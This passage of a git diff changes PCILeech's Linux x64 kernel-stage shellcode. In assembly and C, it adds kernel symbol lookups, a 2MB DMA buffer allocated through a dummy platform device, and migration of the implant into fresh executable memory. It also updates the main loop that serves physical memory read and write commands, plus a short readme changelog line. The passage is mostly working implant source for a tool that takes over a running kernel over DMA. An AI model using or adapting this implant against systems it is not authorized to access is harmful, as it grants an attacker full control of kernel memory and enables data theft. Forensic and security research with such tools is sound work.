migrate_execute_continue: + LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA) + MOV rax, 1 + MOV [rcx+68h], rax ; KMDDATA.ReservedKMD[2] (migrated mark) + migrate_fail_continue: + ; ---------------------------------------------------- + ; 4: CALL C CODE: ENTRY POINT + ; ---------------------------------------------------- + LEA rcx, label_main_base - 1000h ; address of data page (KMDDATA) in parameter 1 CALL stage3_c_EntryPoint + ; ---------------------------------------------------- + ; 5: RESTORE AND RETURN + ; ---------------------------------------------------- + error: MOV rsp, r15 POP r15 - ; ---------------------------------------------------- - ; 3: RESTORE AND RETURN - ; ---------------------------------------------------- + POP r14 + POP r12 + POP r11 + POP rbp + POP rbx RET main ENDP @@ -59,7 +94,7 @@ LookupFunctions PROC PUSH r13 MOV r15, rcx ; address of kallsyms_lookup_name MOV r14, rdx ; ptr to FNLX struct - MOV r13, 17*8 ; num functions * 8 + MOV r13, 24*8 ; num functions * 8 ; ---------------------------------------------------- ; 1: PUSH FUNCTION NAME POINTERS ON STACK ; ---------------------------------------------------- @@ -97,6 +132,20 @@ LookupFunctions PROC PUSH rax LEA rax, str_set_memory_rw PUSH rax + LEA rax, str_dummy + PUSH rax + LEA rax, str_dma_free_attrs + PUSH rax + LEA rax, str_platform_device_alloc + PUSH rax + LEA rax, str_platform_device_add + PUSH rax + LEA rax, str_platform_device_put + PUSH rax + LEA rax, str_dma_alloc_attrs + PUSH rax + LEA rax, str_memset + PUSH rax ; ---------------------------------------------------- ; 2: LOOKUP FUNCTION POINTERS BY NAME ; ---------------------------------------------------- @@ -135,6 +184,19 @@ LookupFunctions PROC RET LookupFunctions ENDP +; ---------------------------------------------------- +; clear_8k +; clear 8192 bytes of memory +; rdi -> starting address +; ---------------------------------------------------- +clear_8k PROC + XOR rax, rax + MOV ecx, 1024 + CLD + REP STOSQ [rdi] + RET +clear_8k ENDP + str_alloc_pages_current db 'alloc_pages_current', 0 str_set_memory_nx db 'set_memory_nx', 0 str_set_memory_rox db 'set_memory_rox', 0 @@ -153,6 +215,13 @@ str_ioremap_nocache db 'ioremap_nocache', 0 str_ktime_get_real_ts64 db 'ktime_get_real_ts64', 0 str_getnstimeofday64 db 'getnstimeofday64', 0 str_alloc_pages db 'alloc_pages', 0 +str_platform_device_alloc db 'platform_device_alloc', 0 +str_platform_device_add db 'platform_device_add', 0 +str_platform_device_put db 'platform_device_put', 0 +str_dma_alloc_attrs db 'dma_alloc_attrs', 0 +str_dma_free_attrs db 'dma_free_attrs', 0 +str_memset db 'memset', 0 +str_dummy db 0 ; ------------------------------------------------------------------ ; Convert from the Windows X64 calling convention to the SystemV diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c index 647a805..59563ca 100644 --- a/pcileech_shellcode/lx64_stage3_c.c +++ b/pcileech_shellcode/lx64_stage3_c.c @@ -1,21 +1,21 @@ // lx64_stage3_c.c : stage3 main shellcode. // Compatible with Linux x64. // -// (c) Ulf Frisk, 2016, 2017 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // -typedef void VOID, *PVOID; -typedef int BOOL, *PBOOL; -typedef unsigned char BYTE, *PBYTE; -typedef char CHAR, *PCHAR; -typedef unsigned short WORD, *PWORD; -typedef unsigned long DWORD, *PDWORD; -typedef unsigned __int64 QWORD, *PQWORD; -typedef void *HANDLE; -#define MAX_PATH 260 -#define TRUE 1 -#define FALSE 0 +typedef void VOID, *PVOID; +typedef int BOOL, *PBOOL; +typedef unsigned char BYTE, *PBYTE; +typedef char CHAR, *PCHAR; +typedef unsigned short WORD, *PWORD; +typedef unsigned long DWORD, *PDWORD; +typedef unsigned __int64 QWORD, *PQWORD; +typedef void *HANDLE; +#define MAX_PATH 260 +#define TRUE 1 +#define FALSE 0 extern QWORD SysVCall(QWORD fn, ...); extern QWORD LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD qwAddr_FNLX); @@ -28,17 +28,17 @@ extern VOID CacheFlush(); #define LOOKUP_FUNCTION(pk, szFn) (SysVCall(pk->AddrKallsymsLookupName, szFn)) typedef struct _PHYSICAL_MEMORY_RANGE { - QWORD BaseAddress; - QWORD NumberOfBytes; + QWORD BaseAddress; + QWORD NumberOfBytes; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; typedef struct _TIMEVAL { - QWORD tv_sec; - QWORD tv_usec; + QWORD tv_sec; + QWORD tv_usec; } TIMEVAL, *PTIMEVAL; typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program) - QWORD msleep; + QWORD msleep; QWORD alloc_pages_current; QWORD set_memory_x; QWORD __free_pages; @@ -48,8 +48,8 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co QWORD walk_system_ram_range; QWORD iounmap; QWORD ioremap; - // optional values below - do not use - QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing. + // optional values below - do not use + QWORD ktime_get_real_ts64; // do_gettimeofday alternative if export is missing. QWORD _ioremap_nocache; QWORD getnstimeofday64; // do_gettimeofday alternative if export is missing. QWORD alloc_pages; @@ -57,10 +57,17 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co QWORD set_memory_rox; // 6.4+ kernels QWORD set_memory_rw; // 6.4+ kernels QWORD _wincall_asm_callback; // linux ksh-module specific callback address (settable by ksh module). [offset: 0x88 / 0x388] - QWORD ReservedFutureUse[14]; + QWORD dma_free_attrs; + QWORD platform_device_alloc; + QWORD platform_device_add; + QWORD platform_device_put; + QWORD dma_alloc_attrs; + QWORD memset; + QWORD ReservedFutureUse[8]; } FNLX, *PFNLX; -#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02 +#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02 +#define KMDDATA_OPERATING_SYSTEM_MIGRATE 0xffffffff00000000 /* * KMD DATA struct. This struct must be contained in a 4096 byte section (page). @@ -101,6 +108,13 @@ typedef struct tdKMDDATA { QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) } KMDDATA, *PKMDDATA; +// ReservedKMD MAP: +// [0] = task_struct* +// [1] = page* (2-page alloc, if exists) +// [2] = is_migrated (0: no, 1: yes) +// [3] = page* (large buffer, if exists) +// [4] = platform_device* (large buffer, if exists) + #define KMD_CMD_VOID 0xffff #define KMD_CMD_COMPLETED 0 #define KMD_CMD_READ 1 @@ -112,57 +126,8 @@ typedef struct tdKMDDATA { #define KMD_CMD_WRITE_VA 7 /* -* Tries to allocate 4MB contigious memory. If not possible 2MB will be tried. -* If not possible -> fail. -* -- pk -* -- fRetry = should be set to TRUE on entry to enable retry on fail. -* -- return = ptr to struct page if successful. +* Lookup functions in kallsyms_lookup_name. */ -QWORD AllocateMemoryDma(PKMDDATA pk, BOOL fRetry) -{ - QWORD i, pStructPages[3], pa[2]; - for(i = 0; i < 2; i++) { - pStructPages[i] = SysVCall(pk->fn.alloc_pages_current, 0x14, 10); - pa[i] = pStructPages[i] ? m_page_to_phys(pk->AddrKallsymsLookupName, pStructPages[i]) : 0; - } - // success - if(pa[0] == pa[1] + 0x200000) { - pk->DMASizeBuffer = 0x400000; - pk->DMAAddrPhysical = pa[1]; - return pStructPages[1]; - } - // complete fail - if(!pa[0] && !pa[1]) { - return 0; - } - // if 2nd attempt - fail if not complete success - if(!fRetry) { - for(i = 0; i < 2; i++) { - if(pStructPages[i]) { - SysVCall(pk->fn.__free_pages, pStructPages[i], 10); - } - } - return 0; - } - // retry for possible complete success - pStructPages[2] = AllocateMemoryDma(pk, FALSE); - if(pStructPages[2]) { - for(i = 0; i < 2; i++) { - if(pStructPages[i]) { - SysVCall(pk->fn.__free_pages, pStructPages[i], 10); - } - } - return pStructPages[2]; - } - // partial success - if(pStructPages[1]) { - SysVCall(pk->fn.__free_pages, pStructPages[1], 10); - } - pk->DMASizeBuffer = 0x200000; - pk->DMAAddrPhysical = pa[0]; - return pStructPages[0]; -} - BOOL LookupFunctionsEx(PKMDDATA pk) { DWORD i; @@ -182,6 +147,226 @@ BOOL LookupFunctionsEx(PKMDDATA pk) return TRUE; } +/* +* Free a struct page* buffer. +*/ +VOID FreePageBuffer(PKMDDATA pk, QWORD pg, QWORD order) +{ + QWORD pa, va, cb; + if(!pg) { + return; + } + pa = m_page_to_phys(pk->AddrKallsymsLookupName, pg); + if(!pa) { + return; + } + va = m_phys_to_virt(pk->AddrKallsymsLookupName, pa); + if(!va) { + return; + } + if(pk->fn.memset) { + cb = (1ULL << order) << 12; + if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) { + // W^X + SysVCall(pk->fn.set_memory_nx, va, cb); + } + if(pk->fn.set_memory_rw) { + SysVCall(pk->fn.set_memory_rw, va, cb); + } + SysVCall(pk->fn.memset, va, 0, cb); + } + SysVCall(pk->fn.__free_pages, pg, order); +} + +/* +* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists) +*/ +VOID FreeDmaLargeBuffer(PKMDDATA pk) +{ + QWORD p_platdev = pk->ReservedKMD[4]; + pk->ReservedKMD[4] = 0; + if(pk->fn.dma_free_attrs && p_platdev) { + SysVCall(pk->fn.dma_free_attrs, p_platdev + 0x10, pk->DMASizeBuffer, pk->DMAAddrVirtual, pk->DMAAddrPhysical, 0); + if(pk->fn.platform_device_put) { + SysVCall(pk->fn.platform_device_put, p_platdev); + } + } +} + +/* +* Tries to allocate 2MB contigious DMA memory. +*/ +QWORD AllocateDmaLargeBuffer(PKMDDATA pk) +{ + CHAR device[] = { 'd', 'e', 'v', 0 }; + QWORD p_platdev, p_dev, vaDMA, paDMA; + if(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) { + return 0; + } + p_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1); + if(!p_platdev) { + return 0; + } + //SysVCall(pk->fn.platform_device_add, p_platdev); + p_dev = p_platdev + 0x10; + vaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x00200000, &paDMA, (QWORD)0xcc4, 0); + if(!vaDMA || !paDMA) { + return 0; + } + pk->DMASizeBuffer = 0x00200000; + pk->DMAAddrPhysical = paDMA; + pk->DMAAddrVirtual = vaDMA; + pk->ReservedKMD[4] = p_platdev; + return 1; +} + +/* +* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists) +*/ +VOID FreePageLargeBuffer(PKMDDATA pk) +{ + QWORD pg = pk->ReservedKMD[3]; + pk->ReservedKMD[3] = 0; + if(pg) { + FreePageBuffer(pk, pg, 9); + } +} + +/* +* Tries to allocate 2MB contigious memory using alloc_pages +*/ +QWORD AllocatePageLargeBuffer(PKMDDATA pk) +{ + QWORD pg, pa, va; + pg = SysVCall(pk->fn.alloc_pages_current, 0xcc4, 9); + if(!pg) { + return 0; + } + pa = m_page_to_phys(pk->AddrKallsymsLookupName, pg); + if(!pa) { + return 0; + } + va = m_phys_to_virt(pk->AddrKallsymsLookupName, pa); + if(!va) { + return 0; + } + pk->DMASizeBuffer = 0x00200000; + pk->DMAAddrPhysical = pa; + pk->DMAAddrVirtual = va; + pk->ReservedKMD[3] = pg; + return 1; +} + +/* +* Free the large buffer irrespective of allocation type. +*/ +VOID FreeLargeBuffer(PKMDDATA pk) +{ + FreeDmaLargeBuffer(pk); + FreePageLargeBuffer(pk); + pk->DMAAddrPhysical = 0; + pk->DMAAddrVirtual = 0; +} + +/* +* Allocate a large 2MB buffer for DMA operations using either dma_alloc_coherent or alloc_pages. +*/ +QWORD AllocateLargeBuffer(PKMDDATA pk) +{ + return AllocateDmaLargeBuffer(pk) || AllocatePageLargeBuffer(pk); +} + + + +// ------------------------------------------------------ +// TRY BUFFER MIGRATION FROM INITIAL 'alloc_pages' BUFFER +// TO A NEW 'dma_alloc_coherent' BUFFER. +// ------------------------------------------------------ + +/* +* Free the original 2-page buffer if execution is migrated. +*/ +VOID TryMigrate_FreeOriginalBuffer(PKMDDATA pk) +{ + QWORD fMigrated, pg; + pg = pk->ReservedKMD[1]; + pk->ReservedKMD[1] = 0; + fMigrated = pk->ReservedKMD[2]; + if(pg && fMigrated) { + FreePageBuffer(pk, pg, 1); + } + +} + +/* +* Try to allocate DMA memory for the migrated main pcileech buffer +* (KMDDATA + stage3 shellcode). A dummy platform device is allocated +* (but not added) for this purpose. Leak the platform device allocation. +*/ +QWORD TryMigrate_AllocateMemoryDmaSmall(PKMDDATA pk, QWORD *paDMA) +{ + CHAR device[] = { 'd', 'e', 'v', 0 }; + QWORD p_platdev, p_dev, vaDMA; + if(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) { + return 0; + } + p_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1); + if(!p_platdev) { + return 0; + } + //SysVCall(pk->fn.platform_device_add, p_platdev); + p_dev = p_platdev + 0x10; + vaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x2000, paDMA, (QWORD)0xcc4, 0); + return vaDMA; +} + +/* +* Entry point for buffer migration to new more correct dma buffer. +* If migration fail, the shellcode execution will continue in the old buffer. +*/ +QWORD stage3_c_TryMigrateEntryPoint(PKMDDATA pk) +{ + QWORD o, vaDMA1 = 0, vaDMA2 = 0, paDMA2 = 0; + // 1: lookup functions: + if(!LookupFunctionsEx(pk)) { + return 0; + } + // 2: check if we can set memory rox/rw/nx - we can't migrate due to high risk of a bugcheck. + if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) { + + return 0; + } + // 3: allocate new 2-page dma buffer: + vaDMA2 = TryMigrate_AllocateMemoryDmaSmall(pk, &paDMA2); + if(!vaDMA2 || !paDMA2) { + return 0; + } + // 4: copy data from old buffer to new buffer: + vaDMA1 = (QWORD)pk; + for(o = 0; o < 0x2000; o += 8) { + *(PQWORD)(vaDMA2 + o) = *(PQWORD)(vaDMA1 + o); + } + // 5: set new buffer (+0x1000) as executable: + if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) { + // W^X + SysVCall(pk->fn.set_memory_rox, vaDMA2 + 0x1000, 1); + } else { + SysVCall(pk->fn.set_memory_x, vaDMA2 + 0x1000, 1); + } + // 6: return to let the shellcode continue migration: + pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MIGRATE | paDMA2; + pk->MAGIC = 0x0ff11337711333377; + pk->_status = 0xf0000001; + pk->_op = KMD_CMD_COMPLETED; + return (vaDMA2 - vaDMA1); +} + + + +// ------------------------------------------------------ +// MAIN EXECUTION LOOP BELOW: +// ------------------------------------------------------ + // status: // 1: ready for command // 2: processing @@ -198,9 +383,9 @@ BOOL LookupFunctionsEx(PKMDDATA pk) VOID stage3_c_EntryPoint(PKMDDATA pk) { BOOL fROX; - QWORD pStructPages, qwMM, qw; + QWORD qwMM, qw; TIMEVAL timeLast, timeCurrent; - // 0: set up symbols and kmd data + // 1: set up symbols and kmd data pk->MAGIC = 0x0ff11337711333377; pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_LINUX; if(!LookupFunctionsEx(pk)) { @@ -208,16 +393,15 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) return; } fROX = pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx; - // 1: allocate memory - if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) { + // 2: allocate memory + if(!AllocateLargeBuffer(pk)) { pk->_status = 0xf0000002; return; } - pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical); if(!fROX) { SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096); } - // 2: main dump loop + // 3: main dump loop SysVCall(pk->fn.do_gettimeofday, &timeLast); while(TRUE) { pk->_status = 1; @@ -232,15 +416,19 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_status = 2; if(KMD_CMD_TERMINATE == pk->_op) { // EXIT pk->_status = 0xf0000000; - SysVCall(pk->fn.__free_pages, pStructPages, 10); - pk->DMAAddrPhysical = 0; - pk->DMAAddrVirtual = 0; + FreeLargeBuffer(pk); pk->_result = TRUE; pk->MAGIC = 0; pk->_op = KMD_CMD_COMPLETED; return; } if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map) + // mem info is usually called upon initialization, + // in the case of a buffer migration we piggy-back + // to clean up the old allocation here. + if(pk->ReservedKMD[1] && pk->ReservedKMD[2]) { + TryMigrate_FreeOriginalBuffer(pk); + } if(pk->fn.walk_system_ram_range) { pk->_size = 0; pk->_result = (0 == SysVCall(pk->fn.walk_system_ram_range, 0, ~0UL, pk, callback_walk_system_ram_range)); @@ -295,4 +483,4 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_op = KMD_CMD_COMPLETED; SysVCall(pk->fn.do_gettimeofday, &timeLast); } -} \ No newline at end of file +} diff --git a/readme.md b/readme.md index bb3d32e..a9f17fa 100644 --- a/readme.md +++ b/readme.md @@ -303,3 +303,6 @@ v4.1 * Benchmark command added. * Unlock signatures updated. * `-psname` option added. + +Latest: +* Linux stability improvements.